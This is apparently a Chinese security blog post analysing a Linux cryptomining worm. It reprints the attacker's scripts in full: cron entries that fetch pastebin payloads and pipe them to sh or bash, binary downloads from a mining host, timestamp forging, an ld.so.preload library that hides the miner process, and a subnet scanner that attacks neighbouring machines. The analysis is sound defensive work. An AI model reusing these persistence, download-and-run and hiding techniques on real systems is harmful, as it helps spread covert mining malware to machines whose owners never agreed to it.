记一次新型挖矿木马分析

2018-12-18 17:06:1913669人阅读

0x00 事件

 

业务方报告了挖矿木马,并提供了样本,借助这个机会分析一波。

 

业务方主要提供了两个二进制程序(linux的)usr_sbin_netdnsusr_local_lib_libdns.so

 

 

0x01 攻击脚本分析

 

1、首先先去云端检查下更新


 

curl -fsSL --connect-timeout 120 https://pastebin.com/raw/SSCy7mY7

 

 

若云端返回是update,则执行echocron函数进行升级

 

这里木马是通过各种方式添加crontab,主要如下方式:

 

方式1 直接写到/etc/cron.d目录下,并用root或者apache这种文件方式迷惑


 

echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw /1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc /cron.d/root

 

echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw /1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc /cron.d/apache

 

 

方式2 写到/var/spool/cron目录下


 

echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron /crontabs/root

 

 

保证是root用户启动的

 

方式3 分别写入cron.hour cron.daily cron.monthly三个目录下


 

mkdir -p /etc/cron.hourly

 

curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc

 

/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner

 

if [ ! -f "/etc/cron.hourly/oanacroner" ]; then

 

wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner

 

&&  chmod 755 /etc/cron.hourly/oanacroner

 

fi

 

mkdir -p /etc/cron.daily

 

curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc /cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner

 

if [ ! -f "/etc/cron.daily/oanacroner" ]; then

 

wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner

 

fi

 

mkdir -p /etc/cron.monthly

 

curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc /cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner

 

if [ ! -f "/etc/cron.monthly/oanacroner" ]; then

 

wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner

 

&&  chmod 755 /etc/cron.monthly/oanacroner

 

fi

 

 

之后对修改过的文件进行时间修改,将创建的时间均修改为/bin/sh的时间(太鸡贼)


 

touch -acmr /bin/sh /var/spool/cron/root touch -acmr /bin/sh /var/spool/cron/crontabs/root touch -acmr /bin/sh /etc/cron.d/apache touch -acmr /bin/sh /etc/cron.d/root

 

touch -acmr /bin/sh /etc/cron.hourly/oanacroner touch -acmr /bin/sh /etc/cron.daily/oanacroner touch -acmr /bin/sh /etc/cron.monthly/oanacroner

 

 

 

2、卸载云监控agent、蠕虫感染


 

if [ ! -f "/tmp/.uninstall" ]; then

 

uninstall

 

fi

 

if [ ! -f "/tmp/.tables" ]; then

 

tables

 

fi

 

if [ ! -f "/tmp/.pythonj" ]; then

 

rm -rf /tmp/.pythoni

 

python

 

fi


 

 

 

1.  uninstall 是负责干掉阿里云和腾讯云的各种监控(这里没有百度云,尴尬)

2.  tables是负责配置iptables的转发,将6379端口配置为仅为本机访问

3.  python则是通过python请求云端下载python脚本


 

python脚本功能如下:

 

扫描本机IP所在C网段(首先通过ident.me获取本机的公网ip,如果失败,则获取内网ip)


 

def get_ip_list():

 

try:

 

url = 'ident.me'

 

conn = httplib.HTTPConnection(url, port=80, timeout=10)

 

conn.request(method='GET', url='/', )

 

result = conn.getresponse()

 

ip = result.read()

 

ips = findall(r'\d+.\d+.\d+.', ip)[0]

 

for i in range(1, 256):

 

IP_LIST.append(ips + (str(i)))

 

except Exception:

 

ip = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep - v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()

 

ips = findall(r'\d+.\d+.\d+.', ip)[0]

 

for i in range(1, 256):

 

IP_LIST.append(ips + (str(i)))

 

pass

 

 

C网段所有机器进行攻击

ActiveMQ任意文件写入漏洞(CVE-2016-3088

Redis未授权访问(6379

 

之后,木马进行了如下操作:

 

kills函数负责干掉同行,其他挖矿进程(这里可以提取其他挖矿进程的特征)

downloadrun下载了一个挖矿进程(名称为kworkerds

 

curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y /1540638957x-1566660823.jpg

 

 

 

3、下载更新进程httpdns和进程隐藏so库,隐藏挖矿程序

 

脚本执行了system函数下载一个httpdns脚本,并放入crontab中继续执行(此时挖矿程序已经运行起来了)


 

(curl -fsSL https://pastebin.com/raw/rjPGgXQE || wget -q -O-https://pastebin.com/raw/rjPGgXQE)|base64 -d|/bin/bash

 

 

还是一个shell脚本,作用还是写入crontab,下载执行挖矿程序,这里有一段代码如下:


 

function init() {

 

if [ ! -f "/usr/sbin/netdns" ]; then

 

curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/x /1539937106x-1566688371.jpg -o /usr/sbin/netdns && chmod 777 /usr/sbin /netdns

 

if [ ! -f "/usr/sbin/netdns" ]; then

 

wget https://master.minerxmr.ru/x/1539581981x-1404817844.jpg - O /usr/sbin/netdns && chmod 777 /usr/sbin/netdns

 

fi

 

fi

 

if [ ! -f "/etc/init.d/netdns" ]; then

 

curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/x /1539775552x-1566688526.jpg -o /etc/init.d/netdns && chmod 777 /etc/init.d /netdns

 

if [ ! -f "/etc/init.d/netdns" ]; then

 

wget https://master.minerxmr.ru/x/1539775552x-1566688526.jpg - O /etc/init.d/netdns && chmod 777 /etc/init.d/netdns

 

fi

 

fi

 

chkconfig --add netdns

 

}

 

 

下载了另一个二进制程序netdnsso库,netdns就是我们之前分析的业务线提供的usr_sbin_netdns(用来定期更新攻击脚本和心跳维持)

 

最后脚本执行了top函数,目的是下载一个libdns.so,并使用如下命令去替换/etc/ld.so.preload


 

echo /usr/local/lib/libdns.so > /etc/ld.so.preload touch -acmr /bin/sh /etc/ld.so.preload touch -acmr /bin/sh /usr/local/lib/libdns.so

 

 

这样在动态连接的时候会加载libdns.so

 

 

0x02 usr_sbin_netdns分析

 

拖入ida里发现是加过壳的

image.png

upx壳,linux下的,应该是压缩壳,在linux下apt-get install upx,upx -D一键脱壳

 

脱壳后执行了一system函数,system函数是自己重写的,具体其他功能待后续详细分析,其中是执行了如下的命令下载攻击脚本


image.png  

0x03 挖矿进程kworkerds分析

 

同样是upx加壳,脱壳后看到矿池地址和钱包地址 

 image.png 

 

0x04 libdns.so分析

 

目的是hook了readdir和readdir64两个函数,因为top和ps会调用这两个函数去相应的进程文件下去查看

image.png

 image.png

函数的目的是找到读取的目录是否是/proc

 image.png 

get_process_name是查询进程的相关状态/proc/id/stat,并且根据该文件获取进程名


image.png 


若进程名为kworkerds,则不进行返回,做到top和ps都无法查询到进程名


image.png

image.png

最终还原文件之后会看到进程名kworkerds,几乎把cpu打满了


image.png

0x05 攻击思路总结 

1.  利用两个代码执行cve植入攻击脚本1;

2.  攻击脚本1下载攻击脚本2,并设置crontab,干掉云监控和同行、并进行内网扫描,继续蠕虫感染;

3.  下载挖矿程序kworkerds开始挖矿;

4.  下载httpdns二进制文件和进程隐藏so库,隐藏挖矿进程,让top命令和ps找不到,而httpdns则是定期下载新的攻击脚本1进行轮训检测和心跳维持

挖矿.zip


本文由百度安全合作作者(ID:三胖子日了猫了)提供,如需转载需注明出处及本文链接

0
现金券
0
兑换券
立即领取
领取成功